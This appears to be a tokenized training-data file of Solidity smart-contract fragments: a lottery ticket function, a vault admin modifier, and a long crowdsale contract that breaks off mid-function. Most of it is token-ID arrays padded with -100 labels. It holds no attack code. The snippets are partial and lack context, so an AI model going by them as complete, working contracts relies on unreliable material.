-100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./full_match/80001/0xa401d9BeBbD72676C2399ddD94631746a3738342/sources/project:/contracts/DecentralizedLottery.sol
bool result = payable(address(this)).send(msg.value);require(result,"There are some thing wrongs on send ether");
function buyTicket(uint256 amount) public payable checkMax(amount) checkEqualAmount(amount) notPause{ uint256 _participantCount=participantCount; uint256 firstTicket= _participantCount; uint256 lastTicket = _participantCount+amount; for(uint256 i= _participantCount; i< _participantCount+amount ; i++ ){ participants[i+1]=msg.sender; dLot.transfer(msg.sender, 1 ether); participantCount++; } emit BuyTicket(msg.sender,round, firstTicket, lastTicket , ticketPrice ); if(participantCount == poolMaxAmount ) { spreadReward(); } }
5,663,313
[ 1, 4625, 348, 7953, 560, 30, 1426, 563, 273, 225, 8843, 429, 12, 2867, 12, 2211, 13, 2934, 4661, 12, 3576, 18, 1132, 1769, 6528, 12, 2088, 10837, 9828, 854, 2690, 7757, 341, 1949, 564, 603, 1366, 225, 2437, 8863, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 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 2254, 5034, 1122, 13614, 33, 389, 2680, 14265, 1380, 31, 203, 1377, 2254, 5034, 1142, 13614, 273, 389, 2680, 14265, 1380, 15, 8949, 31, 203, 203, 1377, 364, 12, 11890, 5034, 277, 33, 389, 2680, 14265, 1380, 31, 225, 277, 32, 225, 389, 2680, 14265, 1380, 15, 8949, 274, 277, 9904, 262, 95, 203, 1850, 22346, 63, 77, 15, 21, 65, 33, 3576, 18, 15330, 31, 203, 1850, 25153, 352, 18, 13866, 12, 3576, 18, 15330, 16, 404, 225, 2437, 1769, 203, 1850, 14188, 1380, 9904, 31, 203, 1377, 289, 203, 203, 1377, 3626, 605, 9835, 13614, 12, 3576, 18, 15330, 16, 2260, 16, 1122, 13614, 16, 1142, 13614, 225, 269, 225, 9322, 5147, 225, 11272, 203, 1377, 309, 12, 2680, 14265, 1380, 422, 2845, 2747, 6275, 262, 288, 203, 3639, 15103, 17631, 1060, 5621, 203, 1377, 289, 203, 203, 21281, 225, 289, 203, 203, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./full_match/1/0xC53a66E45D3aA5558Ff322D18c4227fD63E2C8e2/sources/contracts/vault/modules/adminModule/main.sol
@notice reverts if msg.sender is not secondaryAuth or auth
modifier onlySecondaryAuth() { if ( !(secondaryAuth == msg.sender || IProxy(address(this)).getAdmin() == msg.sender) ) { revert AdminModule__NotSecondaryAuth(); } _; }
9,612,406
[ 1, 4625, 348, 7953, 560, 30, 225, 632, 20392, 15226, 87, 309, 1234, 18, 15330, 353, 486, 9946, 1730, 578, 1357, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 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0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 9606, 1338, 14893, 1730, 1435, 288, 203, 3639, 309, 261, 203, 5411, 401, 12, 19674, 1730, 422, 1234, 18, 15330, 747, 203, 7734, 467, 3886, 12, 2867, 12, 2211, 13, 2934, 588, 4446, 1435, 422, 1234, 18, 15330, 13, 203, 3639, 262, 288, 203, 5411, 15226, 7807, 3120, 972, 1248, 14893, 1730, 5621, 203, 3639, 289, 203, 3639, 389, 31, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
pragma solidity ^0.4.18; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { uint256 public totalSupply; function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } contract UserRegistryInterface { event AddAddress(address indexed who); event AddIdentity(address indexed who); function knownAddress(address _who) public constant returns(bool); function hasIdentity(address _who) public constant returns(bool); function systemAddresses(address _to, address _from) public constant returns(bool); } contract MultiOwners { event AccessGrant(address indexed owner); event AccessRevoke(address indexed owner); mapping(address => bool) owners; address public publisher; function MultiOwners() public { owners[msg.sender] = true; publisher = msg.sender; } modifier onlyOwner() { require(owners[msg.sender] == true); _; } function isOwner() public constant returns (bool) { return owners[msg.sender] ? true : false; } function checkOwner(address maybe_owner) public constant returns (bool) { return owners[maybe_owner] ? true : false; } function grant(address _owner) onlyOwner public { owners[_owner] = true; AccessGrant(_owner); } function revoke(address _owner) onlyOwner public { require(_owner != publisher); require(msg.sender != _owner); owners[_owner] = false; AccessRevoke(_owner); } } contract TokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) public; } contract TokenInterface is ERC20 { string public name; string public symbol; uint public decimals; } contract MintableTokenInterface is TokenInterface { address public owner; function mint(address beneficiary, uint amount) public returns(bool); function transferOwnership(address nextOwner) public; } /** * Complex crowdsale with huge posibilities * Core features: * - Whitelisting * - Min\max invest amounts * - Only known users * - Buy with allowed tokens * - Oraclize based pairs (ETH to TOKEN) * - Revert\refund * - Personal bonuses * - Amount bonuses * - Total supply bonuses * - Early birds bonuses * - Extra distribution (team, foundation and also) * - Soft and hard caps * - Finalization logics **/ contract Crowdsale is MultiOwners, TokenRecipient { using SafeMath for uint; // ██████╗ ██████╗ ███╗ ██╗███████╗████████╗███████╗ // ██╔════╝██╔═══██╗████╗ ██║██╔════╝╚══██╔══╝██╔════╝ // ██║ ██║ ██║██╔██╗ ██║███████╗ ██║ ███████╗ // ██║ ██║ ██║██║╚██╗██║╚════██║ ██║ ╚════██║ // ╚██████╗╚██████╔╝██║ ╚████║███████║ ██║ ███████║ // ╚═════╝ ╚═════╝ ╚═╝ ╚═══╝╚══════╝ ╚═╝ ╚══════╝ uint public constant VERSION = 0x1; enum State { Setup, // Non active yet (require to be setuped) Active, // Crowdsale in a live Claim, // Claim funds by owner Refund, // Unsucceseful crowdsale (refund ether) History // Close and store only historical fact of existence } struct PersonalBonusRecord { uint bonus; address refererAddress; uint refererBonus; } struct WhitelistRecord { bool allow; uint min; uint max; } // ██████╗ ██████╗ ███╗ ██╗███████╗██╗███╗ ██╗ ██████╗ // ██╔════╝██╔═══██╗████╗ ██║██╔════╝██║████╗ ██║██╔════╝ // ██║ ██║ ██║██╔██╗ ██║█████╗ ██║██╔██╗ ██║██║ ███╗ // ██║ ██║ ██║██║╚██╗██║██╔══╝ ██║██║╚██╗██║██║ ██║ // ╚██████╗╚██████╔╝██║ ╚████║██║ ██║██║ ╚████║╚██████╔╝ // ╚═════╝ ╚═════╝ ╚═╝ ╚═══╝╚═╝ ╚═╝╚═╝ ╚═══╝ ╚═════╝ bool public isWhitelisted; // Should be whitelisted to buy tokens bool public isKnownOnly; // Should be known user to buy tokens bool public isAmountBonus; // Enable amount bonuses in crowdsale? bool public isEarlyBonus; // Enable early bird bonus in crowdsale? bool public isTokenExchange; // Allow to buy tokens for another tokens? bool public isAllowToIssue; // Allow to issue tokens with tx hash (ex bitcoin) bool public isDisableEther; // Disable purchase with the Ether bool public isExtraDistribution; // Should distribute extra tokens to special contract? bool public isTransferShipment; // Will ship token via minting? bool public isCappedInEther; // Should be capped in Ether bool public isPersonalBonuses; // Should check personal beneficiary bonus? bool public isAllowClaimBeforeFinalization; // Should allow to claim funds before finalization? bool public isMinimumValue; // Validate minimum amount to purchase bool public isMinimumInEther; // Is minimum amount setuped in Ether or Tokens? uint public minimumPurchaseValue; // How less buyer could to purchase // List of allowed beneficiaries mapping (address => WhitelistRecord) public whitelist; // Known users registry (required to known rules) UserRegistryInterface public userRegistry; mapping (uint => uint) public amountBonuses; // Amount bonuses uint[] public amountSlices; // Key is min amount of buy uint public amountSlicesCount; // 10000 - 100.00% bonus over base pricetotaly free // 5000 - 50.00% bonus // 0 - no bonus at all mapping (uint => uint) public timeBonuses; // Time bonuses uint[] public timeSlices; // Same as amount but key is seconds after start uint public timeSlicesCount; mapping (address => PersonalBonusRecord) public personalBonuses; // personal bonuses MintableTokenInterface public token; // The token being sold uint public tokenDecimals; // Token decimals mapping (address => TokenInterface) public allowedTokens; // allowed tokens list mapping (address => uint) public tokensValues; // TOKEN to ETH conversion rate (oraclized) uint public startTime; // start and end timestamps where uint public endTime; // investments are allowed (both inclusive) address public wallet; // address where funds are collected uint public price; // how many token (1 * 10 ** decimals) a buyer gets per wei uint public hardCap; uint public softCap; address public extraTokensHolder; // address to mint/transfer extra tokens (0 – 0%, 1000 - 100.0%) uint public extraDistributionPart; // % of extra distribution // ███████╗████████╗ █████╗ ████████╗███████╗ // ██╔════╝╚══██╔══╝██╔══██╗╚══██╔══╝██╔════╝ // ███████╗ ██║ ███████║ ██║ █████╗ // ╚════██║ ██║ ██╔══██║ ██║ ██╔══╝ // ███████║ ██║ ██║ ██║ ██║ ███████╗ // ╚══════╝ ╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚══════╝ // amount of raised money in wei uint public weiRaised; // Current crowdsale state State public state; // Temporal balances to pull tokens after token sale // requires to ship required balance to smart contract mapping (address => uint) public beneficiaryInvest; uint public soldTokens; mapping (address => uint) public weiDeposit; mapping (address => mapping(address => uint)) public altDeposit; modifier inState(State _target) { require(state == _target); _; } // ███████╗██╗ ██╗███████╗███╗ ██╗████████╗███████╗ // ██╔════╝██║ ██║██╔════╝████╗ ██║╚══██╔══╝██╔════╝ // █████╗ ██║ ██║█████╗ ██╔██╗ ██║ ██║ ███████╗ // ██╔══╝ ╚██╗ ██╔╝██╔══╝ ██║╚██╗██║ ██║ ╚════██║ // ███████╗ ╚████╔╝ ███████╗██║ ╚████║ ██║ ███████║ // ╚══════╝ ╚═══╝ ╚══════╝╚═╝ ╚═══╝ ╚═╝ ╚══════╝ event EthBuy( address indexed purchaser, address indexed beneficiary, uint value, uint amount); event HashBuy( address indexed beneficiary, uint value, uint amount, uint timestamp, bytes32 indexed bitcoinHash); event AltBuy( address indexed beneficiary, address indexed allowedToken, uint allowedTokenValue, uint ethValue, uint shipAmount); event ShipTokens(address indexed owner, uint amount); event Sanetize(); event Finalize(); event Whitelisted(address indexed beneficiary, uint min, uint max); event PersonalBonus(address indexed beneficiary, address indexed referer, uint bonus, uint refererBonus); event FundsClaimed(address indexed owner, uint amount); // ███████╗███████╗████████╗██╗ ██╗██████╗ ███╗ ███╗███████╗████████╗██╗ ██╗ ██████╗ ██████╗ ███████╗ // ██╔════╝██╔════╝╚══██╔══╝██║ ██║██╔══██╗ ████╗ ████║██╔════╝╚══██╔══╝██║ ██║██╔═══██╗██╔══██╗██╔════╝ // ███████╗█████╗ ██║ ██║ ██║██████╔╝ ██╔████╔██║█████╗ ██║ ███████║██║ ██║██║ ██║███████╗ // ╚════██║██╔══╝ ██║ ██║ ██║██╔═══╝ ██║╚██╔╝██║██╔══╝ ██║ ██╔══██║██║ ██║██║ ██║╚════██║ // ███████║███████╗ ██║ ╚██████╔╝██║ ██║ ╚═╝ ██║███████╗ ██║ ██║ ██║╚██████╔╝██████╔╝███████║ // ╚══════╝╚══════╝ ╚═╝ ╚═════╝ ╚═╝ ╚═╝ ╚═╝╚══════╝ ╚═╝ ╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚══════╝ function setFlags( // Should be whitelisted to buy tokens bool _isWhitelisted, // Should be known user to buy tokens bool _isKnownOnly, // Enable amount bonuses in crowdsale? bool _isAmountBonus, // Enable early bird bonus in crowdsale? bool _isEarlyBonus, // Allow to buy tokens for another tokens? bool _isTokenExchange, // Allow to issue tokens with tx hash (ex bitcoin) bool _isAllowToIssue, // Should reject purchases with Ether? bool _isDisableEther, // Should mint extra tokens for future distribution? bool _isExtraDistribution, // Will ship token via minting? bool _isTransferShipment, // Should be capped in ether bool _isCappedInEther, // Should beneficiaries pull their tokens? bool _isPersonalBonuses, // Should allow to claim funds before finalization? bool _isAllowClaimBeforeFinalization) inState(State.Setup) onlyOwner public { isWhitelisted = _isWhitelisted; isKnownOnly = _isKnownOnly; isAmountBonus = _isAmountBonus; isEarlyBonus = _isEarlyBonus; isTokenExchange = _isTokenExchange; isAllowToIssue = _isAllowToIssue; isDisableEther = _isDisableEther; isExtraDistribution = _isExtraDistribution; isTransferShipment = _isTransferShipment; isCappedInEther = _isCappedInEther; isPersonalBonuses = _isPersonalBonuses; isAllowClaimBeforeFinalization = _isAllowClaimBeforeFinalization; } // ! Could be changed in process of sale (since 02.2018) function setMinimum(uint _amount, bool _inToken) onlyOwner public { if (_amount == 0) { isMinimumValue = false; minimumPurchaseValue = 0; } else { isMinimumValue = true; isMinimumInEther = !_inToken; minimumPurchaseValue = _amount; } } function setPrice(uint _price) inState(State.Setup) onlyOwner public { require(_price > 0); price = _price; } function setSoftHardCaps(uint _softCap, uint _hardCap) inState(State.Setup) onlyOwner public { hardCap = _hardCap; softCap = _softCap; } function setTime(uint _start, uint _end) inState(State.Setup) onlyOwner public { require(_start < _end); require(_end > block.timestamp); startTime = _start; endTime = _end; } function setToken(address _tokenAddress) inState(State.Setup) onlyOwner public { token = MintableTokenInterface(_tokenAddress); tokenDecimals = token.decimals(); } function setWallet(address _wallet) 